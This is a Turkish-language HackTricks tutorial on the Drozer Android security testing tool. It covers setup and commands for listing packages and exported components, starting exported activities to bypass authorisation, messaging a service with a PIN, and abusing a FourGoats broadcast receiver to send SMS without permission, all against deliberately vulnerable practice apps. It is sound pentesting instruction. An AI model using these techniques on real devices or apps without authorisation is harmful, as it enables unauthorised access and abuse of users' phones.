Drozer Tutorial

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformuna katılın! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

Test için APK'lar

Bu öğreticinin bazı bölümleri Drozer belgeleri pdf'den çıkarılmıştır.

Kurulum

Drozer Client'ı ana bilgisayarınıza kurun. En son sürümleri indirin.

pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

Drozer APK'yi en son sürümlerden indirin ve yükleyin. Şu anda bu bağlantıdır.

adb install drozer.apk

Sunucuyu Başlatma

Ajan 31415 numaralı portta çalışıyor, Drozer İstemcisi ve Ajan arasında iletişimi kurabilmek için port yönlendirme yapmamız gerekiyor, işte bunu yapmak için kullanılacak komut:

adb forward tcp:31415 tcp:31415

Son olarak, uygulamayı başlatın ve alttaki "ON" düğmesine basın

Ve ona bağlanın:

drozer console connect

İlginç Komutlar

Komutlar

Açıklama

Help MODULE

Seçilen modülün yardımını gösterir

list

Geçerli oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler.

shell

Cihazda, Ajan bağlamında etkileşimli bir Linux kabuğu başlatır.

clean

Android cihazında drozer tarafından depolanan geçici dosyaları kaldırır.

load

Drozer komutlarını içeren bir dosyayı yükler ve sırayla çalıştırır.

module

İnternetten ek drozer modülleri bulur ve yükler.

unset

Drozer'ın oluşturduğu herhangi bir Linux kabuğuna ilettiği adlandırılmış bir değişkeni kaldırır.

set

Drozer tarafından oluşturulan herhangi bir Linux kabuğuna iletilen bir değişkende bir değer saklar.

shell

Cihazda, Ajan bağlamında etkileşimli bir Linux kabuğu başlatır.

run MODULE

Bir drozer modülünü çalıştırır

exploit

Drozer, cihazda çalıştırılacak saldırıları oluşturabilir. drozer exploit list

payload

Saldırılar bir yük gerektirir. drozer payload list

Paket

Paketin adını kısmi adına göre filtreleyerek bulun:

dz> run app.package.list -f sieve
com.mwr.example.sieve

Paketin Temel Bilgileri:

dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Okunacak Manifesto:

run app.package.manifest jakhar.aseem.diva

Paketin Saldırı Yüzeyi:

dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Aktiviteler: Belki bir aktivite başlatabilir ve sizi başlatmanızı engellemesi gereken bir tür yetkilendirmeyi atlayabilirsiniz.

  • İçerik sağlayıcıları: Belki de özel verilere erişebilir veya bazı zayıflıklardan yararlanabilirsiniz (SQL Enjeksiyonu veya Yol Geçişi).

  • Hizmetler:

  • hata ayıklanabilir mi: Daha fazla bilgi

Aktiviteler

Bir dışa aktarılmış aktivite bileşeninin "android:exported" değeri AndroidManifest.xml dosyasında "true" olarak ayarlanmıştır:

<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

Dışa aktarılan aktiviteleri listele:

dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Aktiviteyi başlat:

Belki bir aktiviteyi başlatabilir ve sizi başlatmanızı engellemesi gereken bir tür yetkilendirmeyi atlayabilirsiniz.

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

adb üzerinden bir ihraç edilmiş etkinliği de başlatabilirsiniz:

  • Paket Adı com.example.demo

  • İhraç Edilmiş Etkinlik Adı com.example.test.MainActivity

adb shell am start -n com.example.demo/com.example.test.MainActivity

İçerik Sağlayıcılar

Bu yazı burada olacak kadar büyük olduğundan dolayı kendi sayfasında erişebilirsiniz buradan.

Servisler

Bir hizmet, Manifest.xml dosyası içinde şu şekilde bildirilir:

<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

Kodun içinde handleMessage fonksiyonunu alacak olan mesajı kontrol edin:

Hizmet listesi

dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

Bir hizmetle etkileşimde bulunun

app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

Örnek

app.service.send için drozer yardımına bir göz atın:

Not edin ki önce veriyi "msg.what" içine, ardından "msg.arg1" ve "msg.arg2" içine göndereceksiniz, hangi bilgilerin kullanıldığını ve nerede olduğunu kodun içinde kontrol etmelisiniz. --extra seçeneğini kullanarak "_msg.replyTo" tarafından yorumlanacak bir şey gönderebilirsiniz ve --bundle-as-obj kullanarak sağlanan detaylarla bir nesne oluşturabilirsiniz.

Aşağıdaki örnekte:

  • what == 2354

  • arg1 == 9234

  • arg2 == 1

  • replyTo == object(string com.mwr.example.sieve.PIN 1337)

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

Yayın Alıcıları

Android temel bilgiler bölümünde bir Yayın Alıcısı nedir görebilirsiniz.

Bu Yayın Alıcılarını keşfettikten sonra kodlarını kontrol etmelisiniz. Mesajları alan onReceive fonksiyonuna özellikle dikkat edin.

Tüm yayın alıcılarını tespit et

run app.broadcast.info #Detects all

Bir uygulamanın yayın alıcılarını kontrol edin

#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

Yayın Etkileşimleri

app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

Mesaj gönder

Bu örnekte FourGoats apk İçerik Sağlayıcısını istismar ederek kullanıcıdan izin istemeden herhangi bir ücretli olmayan hedefe keyfi bir SMS gönderebilirsiniz.

Kodu okursanız, "phoneNumber" ve "message" parametrelerinin İçerik Sağlayıcıya gönderilmesi gerektiğini göreceksiniz.

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

Hata ayıklanabilir mi

Bir üretim APK'sı asla hata ayıklanabilir olmamalıdır. Bu, çalışan uygulamaya java hata ayıklama aracını bağlayabileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları belirleyebileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta değiştirebileceğiniz anlamına gelir.InfoSec institute'nin mükemmel bir makalesi uygulamanız hata ayıklanabilir olduğunda daha derine inme ve çalışma zamanı kodu enjekte etme konusunda bilgi vermektedir.

Bir uygulama hata ayıklanabilir olduğunda, Manifest dosyasında görünecektir:

<application theme="@2131296387" debuggable="true"

Drozer ile tüm hata ayıklanabilir uygulamaları bulabilirsiniz:

run app.package.debuggable

Öğreticiler

Daha fazla bilgi

Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformuna! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!

Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated